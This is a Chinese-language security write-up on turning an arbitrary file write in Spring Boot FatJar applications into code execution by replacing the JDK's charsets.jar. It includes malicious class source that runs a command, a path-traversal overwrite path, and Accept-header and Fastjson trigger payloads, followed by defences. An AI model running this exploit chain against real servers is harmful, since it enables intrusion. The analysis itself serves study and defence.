Spring FatJar写文件到RCE分析
字数 1620 2025-08-22 12:23:18
Spring Boot FatJar 写文件到 RCE 漏洞分析与利用
漏洞背景
Spring Boot 项目在生产环境中通常打包成 FatJar(包含所有依赖的 jar 文件),以 java -jar app.jar 形式运行。这种打包方式导致:
-
运行时 classpath 包括:
- app.jar 中的 BOOT-INF/classes 目录
- BOOT-INF/lib 目录下的所有 jar
- JAVA_HOME 下的系统 classpath jar
-
无法在运行时向 app.jar 的 classpath 中增加文件
-
现代 Spring Boot 项目多为 RESTful API 服务,很少动态解析 jsp 或其他外部模板文件
传统 RCE 方法的问题
当存在本地任意文件写入漏洞时(如 fastjson、AspectJWeaver 写文件漏洞),传统 RCE 方法包括:
- 写入 Linux crontab 计划任务文件
- 替换 so/dll 系统文件进行劫持
这些方法在实际环境中常因网络联通性、文件权限等问题难以利用。
创新利用思路:JDK 类加载机制
关键发现
-
JDK 类加载特性:
- JVM 不会在启动时加载所有 JDK_HOME 下的 jar 文件(性能考虑)
- JVM 启动后不会主动加载 JDK_HOME 下新增的 jar 文件
- 只能替换 JDK_HOME 下未被 "Opened" 的系统 jar 文件
-
Windows 特殊行为:
- Windows JVM 初始化时会预加载某些字符集(如 sun.nio.cs 包中的类)
- 默认会加载
/jre/lib/charsets.jar文件
-
Linux 环境:
- 默认不加载 charsets.jar
- 当
LANG=zh_CN.GBK时会加载 charsets.jar
利用路径
- 通过任意文件写入漏洞覆盖
charsets.jar - 触发 JVM 加载被修改的
charsets.jar - 在类初始化时执行恶意代码
技术细节分析
触发 charsets.jar 加载的途径
方法1:Spring Web 的 Accept 头处理
通过 org.springframework.web.accept.HeaderContentNegotiationStrategy 类的 MediaType.parseMediaTypes 方法触发:
// 触发点1:multipart 类型
Accept: multipart/form-data;charset=evil;
// 触发点2:text/html 类型
Accept: text/html;charset=IBM33722;
调用链:
HeaderContentNegotiationStrategy.getMediaTypeKeys()
→ MediaType.parseMediaTypes()
→ MimeTypeUtils.parseMimeType()
→ Charset.forName()
方法2:Fastjson 反序列化触发
适用于 Fastjson >= 1.2.68:
{
"x": {
"@type": "java.nio.charset.Charset",
"val": "IBM33722"
}
}
调用链:
MiscCodec.deserialze()
→ Charset.forName()
方法3:AspectJWeaver 写文件 + CC 链触发
利用 Commons Collections 反序列化链触发文件写入:
// 示例代码片段
byte[] code = Files.readAllBytes(Paths.get("charsets.jar"));
Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor constructor = clazz.getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);
HashMap storeableCachingMap = (HashMap) constructor.newInstance("./", 1);
// ... 后续构造反序列化链
漏洞复现步骤
1. 准备恶意 charsets.jar
- 解压正常的 charsets.jar
- 修改
sun.nio.cs.ext.IBM33722类:
package sun.nio.cs.ext;
import java.util.UUID;
public class IBM33722 {
static {
fun();
}
public IBM33722() {
fun();
}
private static java.util.HashMap<String, String> fun() {
String[] command;
String random = UUID.randomUUID().toString().replace("-", "").substring(1, 9);
String osName = System.getProperty("os.name");
if (osName.startsWith("Mac OS")) {
command = new String[]{"/bin/bash", "-c", "open -a Calculator"};
} else if (osName.startsWith("Windows")) {
command = new String[]{"cmd.exe", "/c", "calc"};
} else {
if (new java.io.File("/bin/bash").exists()) {
command = new String[]{"/bin/bash", "-c", "touch /tmp/charsets_test_" + random + ".log"};
} else {
command = new String[]{"/bin/sh", "-c", "touch /tmp/charsets_test_" + random + ".log"};
}
}
try {
Runtime.getRuntime().exec(command);
} catch (Throwable e1) {
e1.printStackTrace();
}
return null;
}
}
- 重新打包为 charsets.jar(需保留 ExtendedCharsets 类)
2. 上传恶意 charsets.jar
利用任意文件上传漏洞,覆盖目标系统的:
../../usr/lib/jvm/java-1.8-openjdk/jre/lib/charsets.jar
3. 触发加载
使用以下任意一种方式触发:
- HTTP 请求:
GET /any/endpoint HTTP/1.1
Accept: multipart/form-data;charset=IBM33722;
- Fastjson 请求:
POST /fastjson HTTP/1.1
Content-Type: application/json
{
"x": {
"@type": "java.nio.charset.Charset",
"val": "IBM33722"
}
}
防御措施
-
文件权限控制:
- 限制应用对 JDK_HOME 目录的写权限
- 使用专用用户运行 Java 应用
-
输入验证:
- 严格校验文件上传路径
- 过滤路径中的
../等目录遍历序列
-
运行时保护:
- 使用 SecurityManager 限制敏感操作
- 监控 JVM 类加载行为
-
依赖管理:
- 及时更新存在漏洞的组件(如 fastjson)
- 移除不必要的依赖(如 AspectJWeaver)
-
系统加固:
- 设置只读权限保护关键 jar 文件
- 使用容器技术隔离应用运行环境